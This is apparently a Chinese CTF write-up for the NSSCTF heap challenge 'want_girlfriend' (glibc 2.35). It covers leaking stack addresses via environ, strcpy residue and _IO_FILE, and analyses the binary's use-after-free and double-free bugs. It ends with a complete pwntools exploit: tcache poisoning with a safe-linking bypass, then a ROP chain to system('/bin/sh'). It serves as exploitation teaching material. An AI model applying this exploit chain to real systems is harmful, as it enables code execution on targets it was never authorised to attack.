0x00 Background 笔者打nssctf上的一题,记录一下。 pwn攻击不应该孤立的看。换句话说,要无所不用其极,哪种攻击好使就用哪种。现在就来浅浅分析一下在堆中对栈的攻击。(手法很多,后面慢慢学慢慢补充吧
0x01 利用environ变量 以下调试以[NSSRound#21Basic]want_girlfriend(glibc2.35)的程序来演示。 在linux环境下,程序存在一个全局变量(char**)environ,位于 libc 数据段,与 libc_base 存在固定偏移
1 environ_addr=libcbase+libc.sym["environ" ]
environ指向一个指针数组,数组中每个指针指向一个环境变量字符串,而环境变量字符串是位于栈区的。
1 2 3 4 pwndbg> p &environ $1 = (<data variable, no debug info> *) 0x7ffff7e22200 <environ> pwndbg> x/gx 0x7ffff7e22200 0x7ffff7e22200 <environ>: 0x00007fffffffdfb8
这样我们知道了environ的值,我们到栈区看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 2e:0170│+148 0x7fffffffdfb8 —▸ 0x7fffffffe27b ◂— 'SHELL=/bin/bash' 2f:0178│+150 0x7fffffffdfc0 —▸ 0x7fffffffe28b ◂— 'WSL2_GUI_APPS_ENABLED=1' 30:0180│+158 0x7fffffffdfc8 —▸ 0x7fffffffe2a3 ◂— 'WSL_DISTRO_NAME=Ubuntu-22.04' 31:0188│+160 0x7fffffffdfd0 —▸ 0x7fffffffe2c0 ◂— 'WT_SESSION=1c2e66a8-92b1-4c76-b525-e18b94cf4188' 32:0190│+168 0x7fffffffdfd8 —▸ 0x7fffffffe2f0 ◂— 'NAME=LAPTOP-6JKPOVPE' 33:0198│+170 0x7fffffffdfe0 —▸ 0x7fffffffe305 ◂— 'PWD=/home/turing/girlfriend' 34:01a0│+178 0x7fffffffdfe8 —▸ 0x7fffffffe321 ◂— 'LOGNAME=turing' 35:01a8│+180 0x7fffffffdff0 —▸ 0x7fffffffe330 ◂— '_=/usr/bin/gdb' 36:01b0│+188 0x7fffffffdff8 —▸ 0x7fffffffe33f ◂— 'LINES=40' 37:01b8│+190 0x7fffffffe000 —▸ 0x7fffffffe348 ◂— 'HOME=/home/turing' 38:01c0│+198 0x7fffffffe008 —▸ 0x7fffffffe35a ◂— 'LANG=C.UTF-8' 39:01c8│+1a0 0x7fffffffe010 —▸ 0x7fffffffe367 ◂— 'WSL_INTEROP=/run/WSL/398_interop' 3a:01d0│+1a8 0x7fffffffe018 —▸ 0x7fffffffe388 ◂— 0x524f4c4f435f534c ('LS_COLOR') 3b:01d8│+1b0 0x7fffffffe020 —▸ 0x7fffffffe977 ◂— 'COLUMNS=144'
发现0x00007fffffffdfb8正是指向栈上的环境变量的二级指针。且环境变量指针数组也是位于栈上的。那么我们便可以通过泄露environ的值来泄露栈地址了。 我们在main下个断点,然后查看main函数的返回地址处
1 2 3 pwndbg> stack 00:0000│ rbp rsp 0x7fffffffde90 ◂— 1 01:0008│+008 0x7fffffffde98 —▸ 0x7ffff7c29d90 ◂— mov edi, eax
在rbp+0x08处,正是在0x7fffffffde98。显然其与environ的值的偏移是固定的,其他函数同样如此。这样我们便可以利用泄露的environ地址来对函数返回地址进行读写,来进行我们熟悉的 ROP 操作劫持程序执行流。
0x02 利用残留的栈上数据 当程序从栈向堆复制数据时候,可能会将栈上残留的栈地址带入堆中。 例如,strcpy()函数,无长度检查,遇到\x00停止复制,如果程序从栈上 buf 区向 chunk 复制数据,我们向 buf 输入非\x00数据,经过调试来将栈上地址copy到 chunk 中。
0x03 利用_IO_FILE 可以通过打stdout任意地址读来读出栈地址
0x04 [NSSRound#21Basic]want_girlfriend 菜单题64位保护全开,先放题目各选项源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 __int64 creat () { int v1; char buf[40 ]; unsigned __int64 v3; v3 = __readfsqword(0x28u ); if ( flag == 1 ) { puts ("no,You can only have one girlfriend!!!" ); return 0LL ; } else { while ( 1 ) { puts ("Please input her height:" ); __isoc99_scanf("%d" , &v1); if ( v1 > 140 && v1 <= 259 ) break ; puts ("Are you sure???" ); } new = (char *)malloc (v1); if ( !new ) exit (0 ); puts ("Please input her name" ); read(0 , buf, 0x10u LL); strcpy (new, buf); puts ("Plese input her describe" ); read(0 , buf, 0x20u LL); strcpy (new + 16 , buf); return (unsigned int )++flag; } }
先read到栈上再strcpy到chunk。限制size为140-259.用flag记录chunk数量,只允许flag小于1时申请chunk。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 int show () { __int64 v0; printf ("Your girlfriend is " ); write(1 , new, 0x10u LL); putchar (10 ); printf ("she is " ); write(1 , new + 16 , 0x20u LL); putchar (10 ); v0 = *((_QWORD *)new + 6 ); if ( v0 ) { printf ("Your love: " ); write(1 , new + 48 , 0x20u LL); LODWORD(v0) = putchar (10 ); } return v0; }
用 write 打印堆上数据,不用担心\x00截断,同时可以打印 chunk+0x30 处数据。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 unsigned __int64 abandon () { char buf[4 ]; unsigned __int64 v2; v2 = __readfsqword(0x28u ); puts ("Are you sure you want to abandon her now???" ); read(0 , buf, 3uLL ); if ( buf[0 ] == 89 ) free (new); else puts ("If you leave, I will life and death dependency." ); --flag; return v2 - __readfsqword(0x28u ); }
free 没有清指针,可以 uaf,且不检查 double free。还可以不 free 任何chunk。flag 自减。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 int love () { int result; if ( !new ) return puts ("???" ); if ( flag <= 0 ) { puts ("If you abandon her, the best love is forgetting" ); *(_QWORD *)new = 0LL ; *((_QWORD *)new + 1 ) = 0LL ; result = (_DWORD)new + 16 ; *((_QWORD *)new + 2 ) = 0LL ; } else { puts ("Please input your love" ); return read(0 , new + 56 , 0x20u LL); } return result; }
当flag小于等于0时可以将chunk内前0x18全部置0。flag>0时可以向chunk的mem+0x38处写数据。 到这里笔者起初是想劫持tcache_perthread_struct,但此题是高版本glibc2.35,counts数组较长(0x80),我们的可写数据的chunk区域只有creat函数提供的的前0x30,以及love函数提供的mem+0x38到mem+0x58处。无法写到tcache->entries数组。 但是笔者又设想可以修改counts数组来方便的将chunk投入unsorted bin来泄露libc。但是在具体操作时总是失败。因为可写区域的限制,修改不到0x290size的chunk(也就是tcache_perthread_struct)对应的counts数组元素。而如果要为其他size的chunk改写counts成员,来伪装填满tcachebins,又需要额外申请chunk。还不如直接连续free七次来简单粗暴的填满tcache。 在此版本中有tcache->key来防御double free ,但是注意到 love 函数可以将chunk清零来破坏key字段,可行。于是就可以将chunk投入unsorted bin来泄露libc。这里注意,只有tcache->counts中的数据大于0时才能从对应tcachebin中申请到chunk,所以double free 的时候我们要多free一次。 然后glibc2.35,第一时间想到接着打tcache。可以进行tcache poisoning,存在safe-linking ,但也可以绕过,那么任意地址读写实现了,接着如果getshell呢?由于hooks的移除,那么攻击面进一步缩小。笔者这里自然也是想到了打ROP(也可以打IO)。既然要打ROP,栈上地址可以通过environ变量泄露。后来看其他师傅的wp,发现也可以利用strcpy()来带出栈上地址。 同时考虑到canary,再去绕过canary的话就太累了,我们很快发现love函数并没有canary,可以覆盖love函数的返回地址。然后rop链可以用love函数注入 ok分析完毕,直接放exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 from pwn import *context.os='linux' context.arch='amd64' context.log_level='debug' io=remote('node4.anna.nssctf.cn' ,28949 ) libc=ELF('./libc.so.6' ) e=ELF('./[NSSRound21Basic]want_girlfriend' ) def creat (size,content1,content2 ): io.sendlineafter(b'choice: \n' ,b'1' ) io.sendlineafter(b'height:\n' ,str (size)) io.sendlineafter(b'name\n' ,content1) io.sendlineafter(b'describe\n' ,content2) def free (): io.sendlineafter(b'choice: \n' ,b'2' ) io.sendlineafter(b'now???\n' ,b'Y' ) def fake_free (): io.sendlineafter(b'choice: \n' ,b'2' ) io.sendlineafter(b'now???\n' ,b'N' ) def show (): io.sendlineafter(b'choice: \n' ,b'3' ) def love_inject (content ): io.sendlineafter(b'choice: \n' ,b'520' ) io.sendlineafter(b'love\n' ,content) def love_destory_key (): io.sendlineafter(b'choice: \n' ,b'520' ) creat(0x90 ,b'w' ,b'w' ) free() show() io.recvuntil(b"Your girlfriend is " ) heap_base=u64(io.recv(8 ))<<12 log.success(hex (heap_base)) creat(0xc0 ,b'w' ,b'w' ) free() creat(0x90 ,b'w' ,b'w' ) for i in range (7 ): free() love_destory_key() free() show() io.recvuntil(b"Your girlfriend is " ) main_arena=u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' ))-96 log.success(hex (main_arena)) libcbase=main_arena-0x21ac80 log.success(hex (libcbase)) environ_add=libcbase+libc.sym["environ" ] sys_add=libcbase+libc.sym["system" ] creat(0xb0 ,b'w' ,b'w' ) free() love_destory_key() free() love_destory_key() free() creat(0xb0 ,p64((heap_base>>12 )^(environ_add-0x30 )),b'w' ) creat(0xb0 ,p64((heap_base>>12 )^(environ_add-0x30 )),b'w' ) creat(0xb0 ,b'a' *0x8 ,b'b' *0x18 ) show() io.recvuntil(b'a' ) io.recvuntil(b'b' ) io.recvuntil(b'Your love: ' ) love_ret=u64(io.recvuntil(b'\x7f' ).ljust(8 ,b'\x00' ))-0x140 log.success(hex (love_ret)) sh_add=libcbase+next (libc.search(b"/bin/sh" )) pop_rdi_ret=libcbase+0x02a3e5 ret=libcbase+0x029139 creat(0xa0 ,b'w' ,b'w' ) free() love_destory_key() free() love_destory_key() free() creat(0xa0 ,p64((heap_base>>12 )^(love_ret-0x38 )),b'w' ) creat(0xa0 ,p64((heap_base>>12 )^(love_ret-0x38 )),b'w' ) rop_chain=p64(ret)+p64(pop_rdi_ret)+p64(sh_add)+p64(sys_add) for i in range (6 ): creat(0xd0 ,b'\x00' ,b'\x00' ) creat(0xa0 ,b'\x00' ,b'\x00' ) love_inject(rop_chain) io.interactive()